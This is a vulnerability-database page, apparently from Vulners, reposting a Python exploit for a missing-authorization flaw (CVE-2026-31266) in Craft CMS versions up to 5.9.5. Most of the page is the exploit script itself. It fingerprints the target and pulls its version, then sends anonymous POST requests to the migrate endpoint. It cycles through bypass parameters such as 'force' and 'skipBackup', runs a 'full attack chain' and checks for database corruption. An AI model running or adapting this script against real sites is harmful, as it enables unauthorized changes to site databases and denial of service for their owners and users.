| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| cms-security-poc | 4 Feb 202621:01 | โ | githubexploit | |
| CVE-2026-31266 | 27 May 202600:00 | โ | attackerkb | |
| CVE-2026-31266 | 5 Jun 202615:00 | โ | circl | |
| Craft CMS ๅฎๅ จๆผๆด | 27 May 202600:00 | โ | cnnvd | |
| CVE-2026-31266 | 27 May 202600:00 | โ | cve | |
| CVE-2026-31266 | 27 May 202600:00 | โ | cvelist | |
| CVE-2026-31266 | 27 May 202615:16 | โ | nvd | |
| ๐ Craft CMS 5.9.5 Missing Authorization / Denial of Service | 5 Jun 202600:00 | โ | packetstorm | |
| PT-2026-43997 | 27 May 202600:00 | โ | ptsecurity | |
| CVE-2026-31266 | 5 Jun 202619:45 | โ | redhatcve |
==================================================================================================================================
| # Title : Craft CMS โค 5.9.5 Missing Authorization Vulnerability โ Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://craftcms.com |
==================================================================================================================================
[+] Summary : This script is an assessment and exploitation framework targeting a missing authorization vulnerability in affected versions
of Craft CMS that may permit unauthorized access to privileged migration functionality.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import argparse
import time
import json
import re
from urllib.parse import urljoin, urlparse
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Craft CMS Missing Authorization Exploit (CVE-2026-31266) โ
โ Affected: Craft CMS <= 5.9.5 โ
โ Type: Missing Authorization -> Authentication Bypass โ
โ Discovered by: indoushka โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
"""
class CraftCMSExploit:
def __init__(self, target_url, verbose=False, timeout=10):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.timeout = timeout
self.session = requests.Session()
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/x-www-form-urlencoded"
})
self.base_action_url = f"{self.target_url}/actions/app/migrate"
def log(self, msg, level="INFO"):
"""Print formatted messages"""
colors = {
"INFO": "\033[94m[*]\033[0m",
"SUCCESS": "\033[92m[+]\033[0m",
"ERROR": "\033[91m[-]\033[0m",
"WARNING": "\033[93m[!]\033[0m",
"DATA": "\033[96m[>]\033[0m"
}
prefix = colors.get(level, "[*]")
print(f"{prefix} {msg}")
def check_craft_cms(self):
"""Check if target is running Craft CMS"""
self.log("Checking if target is Craft CMS...")
checks = [
"/admin/login",
"/index.php?p=admin/login",
"/actions/users/login",
"/cp",
"/admin/actions/users/login"
]
for check in checks:
try:
url = f"{self.target_url}{check}"
response = self.session.get(url, timeout=self.timeout)
if response.status_code == 200:
if "craft" in response.text.lower() or "cms" in response.text.lower():
self.log(f"Craft CMS detected at: {url}", "SUCCESS")
return True
except:
continue
self.log("Could not confirm Craft CMS", "WARNING")
return False
def test_migrate_endpoint(self):
"""Test if the migrate endpoint is accessible anonymously"""
self.log("Testing migrate endpoint accessibility...")
try:
response = self.session.post(
self.base_action_url,
data={},
timeout=self.timeout
)
if self.verbose:
self.log(f"Response Status: {response.status_code}", "DATA")
self.log(f"Response Headers: {dict(response.headers)}", "DATA")
if response.status_code == 200:
self.log("Migrate endpoint is accessible! (200 OK)", "SUCCESS")
return True
elif response.status_code == 403:
self.log("Migrate endpoint is protected (403 Forbidden)", "INFO")
return False
elif response.status_code == 404:
self.log("Migrate endpoint not found (404)", "INFO")
return False
else:
self.log(f"Unexpected response: {response.status_code}", "WARNING")
return response.status_code == 200
except requests.exceptions.RequestException as e:
self.log(f"Error testing endpoint: {e}", "ERROR")
return False
def execute_migration(self, migration_params=None):
"""
Execute migration via the vulnerable endpoint
Args:
migration_params: Optional parameters for migration
"""
self.log("Attempting to execute migration...")
data = migration_params or {}
try:
response = self.session.post(
self.base_action_url,
data=data,
timeout=self.timeout
)
if self.verbose:
self.log(f"Request URL: {self.base_action_url}", "DATA")
self.log(f"Request Data: {data}", "DATA")
self.log(f"Response Status: {response.status_code}", "DATA")
return response
except requests.exceptions.RequestException as e:
self.log(f"Error executing migration: {e}", "ERROR")
return None
def check_database_tables(self, table_names=None):
"""
Check if database tables have been affected
This is a detection method based on the vulnerability impact
"""
if not table_names:
table_names = ['sessions', 'users', 'craft_session', 'craft_users']
self.log("Checking for database impact...")
for table in table_names:
test_endpoints = [
f"{self.target_url}/actions/users/login",
f"{self.target_url}/admin/actions/users/login",
f"{self.target_url}/index.php?p=admin/actions/users/login"
]
for endpoint in test_endpoints:
try:
response = self.session.post(endpoint, data={
"loginName": "test",
"password": "test"
}, timeout=self.timeout)
if response.status_code == 500 or "database" in response.text.lower():
if "sessions" in response.text.lower() or "table" in response.text.lower():
self.log(f"Possible database corruption detected: {response.text[:200]}", "WARNING")
return True
except:
continue
return False
def extract_version_info(self):
"""Extract Craft CMS version information"""
self.log("Attempting to extract version information...")
version_patterns = [
r'Craft CMS (\d+\.\d+\.\d+)',
r'craft\.version\s*=\s*["\'](\d+\.\d+\.\d+)',
r'<meta name="generator" content="Craft CMS (\d+\.\d+\.\d+)"'
]
version_files = [
"/dist/js/craft.js",
"/resources/js/craft.js",
"/admin/dist/js/craft.js",
"/cp/resources/js/craft.js"
]
for file_path in version_files:
try:
url = f"{self.target_url}{file_path}"
response = self.session.get(url, timeout=self.timeout)
if response.status_code == 200:
for pattern in version_patterns:
match = re.search(pattern, response.text)
if match:
version = match.group(1)
self.log(f"Detected Craft CMS version: {version}", "SUCCESS")
return version
except:
continue
self.log("Could not determine exact version", "WARNING")
return None
def attempt_bypass_with_params(self, param_combinations=None):
"""Attempt to bypass with different parameter combinations"""
if not param_combinations:
param_combinations = [
{},
{"allowAdminChanges": "1"},
{"allowAdminChanges": "true"},
{"allowAnonymous": "1"},
{"force": "1"},
{"force": "true"},
{"skipBackup": "1"},
{"skipBackup": "true"},
{"allowAdminChanges": "1", "force": "1"},
{"allowAdminChanges": "1", "skipBackup": "1"},
]
self.log(f"Testing {len(param_combinations)} parameter combinations...")
vulnerable_combos = []
for i, params in enumerate(param_combinations, 1):
if self.verbose:
self.log(f"Testing combo {i}/{len(param_combinations)}: {params}")
response = self.execute_migration(params)
if response and response.status_code == 200:
self.log(f"Successful bypass with params: {params}", "SUCCESS")
vulnerable_combos.append(params)
elif response and response.status_code == 500 and self.verbose:
self.log(f"Error with params {params}: {response.text[:100]}")
time.sleep(0.5)
return vulnerable_combos
def generate_attack_report(self, success):
"""Generate attack report"""
report = {
"target": self.target_url,
"vulnerability": "CVE-2026-31266 - Missing Authorization",
"affected_versions": "Craft CMS <= 5.9.5",
"attack_successful": success,
"timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
"endpoint_tested": self.base_action_url
}
print("\n" + "=" * 60)
print("ATTACK REPORT")
print("=" * 60)
print(json.dumps(report, indent=2))
print("=" * 60)
return report
def full_attack(self):
"""Execute full attack chain"""
self.log("Starting full attack chain...")
is_craft = self.check_craft_cms()
if not is_craft:
self.log("Target may not be Craft CMS, continuing anyway...", "WARNING")
version = self.extract_version_info()
if version:
self.log(f"Target version: {version}")
if self.compare_versions(version, "5.9.5") > 0:
self.log("Target version appears to be patched", "WARNING")
is_vulnerable = self.test_migrate_endpoint()
if not is_vulnerable:
self.log("Initial test suggests endpoint is protected", "WARNING")
self.log("Attempting bypass techniques...")
vulnerable_combos = self.attempt_bypass_with_params()
is_vulnerable = len(vulnerable_combos) > 0
if is_vulnerable:
self.log("Vulnerability confirmed! Executing attack...", "SUCCESS")
response = self.execute_migration()
if response:
self.log("Attack executed successfully!", "SUCCESS")
if self.verbose:
print(f"\nResponse content:\n{response.text[:500]}")
self.check_database_tables()
self.generate_attack_report(True)
return True
else:
self.log("Target does not appear to be vulnerable", "ERROR")
self.generate_attack_report(False)
return False
@staticmethod
def compare_versions(version1, version2):
"""Compare two version strings"""
def normalize(v):
return [int(x) for x in v.split('.')]
v1 = normalize(version1)
v2 = normalize(version2)
for i in range(min(len(v1), len(v2))):
if v1[i] != v2[i]:
return v1[i] - v2[i]
return len(v1) - len(v2)
def check_vulnerability(target_url):
"""Quick vulnerability check"""
exploit = CraftCMSExploit(target_url, verbose=False)
return exploit.test_migrate_endpoint()
def exploit_single(target_url, verbose=False):
"""Single target exploitation"""
exploit = CraftCMSExploit(target_url, verbose)
return exploit.full_attack()
def main():
parser = argparse.ArgumentParser(description="Craft CMS Missing Authorization Exploit (CVE-2026-31266)")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:8080)")
parser.add_argument("--check", action="store_true", help="Quick vulnerability check only")
parser.add_argument("--extract-version", action="store_true", help="Extract Craft CMS version")
parser.add_argument("--bypass", action="store_true", help="Attempt parameter bypass techniques")
parser.add_argument("--test-migrate", action="store_true", help="Test migrate endpoint only")
parser.add_argument("-v", "--verbose", action="store_true", help="Show verbose output")
args = parser.parse_args()
print(BANNER)
if args.check:
print("\n[*] Performing quick vulnerability check...")
is_vulnerable = check_vulnerability(args.url)
if is_vulnerable:
print(f"\n[+] {args.url} appears to be VULNERABLE to CVE-2026-31266")
else:
print(f"\n[-] {args.url} does not appear to be vulnerable")
return
exploit = CraftCMSExploit(args.url, args.verbose)
if args.extract_version:
exploit.extract_version_info()
return
if args.test_migrate:
result = exploit.test_migrate_endpoint()
if result:
print("\n[+] Migrate endpoint is accessible!")
print("[+] The target is likely vulnerable to CVE-2026-31266")
else:
print("\n[-] Migrate endpoint is not accessible")
return
if args.bypass:
print("\n[*] Attempting parameter bypass techniques...")
vulnerable_combos = exploit.attempt_bypass_with_params()
if vulnerable_combos:
print(f"\n[+] Found {len(vulnerable_combos)} working parameter combinations!")
for combo in vulnerable_combos:
print(f" - {combo}")
else:
print("\n[-] No bypass techniques worked")
return
exploit.full_attack()
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation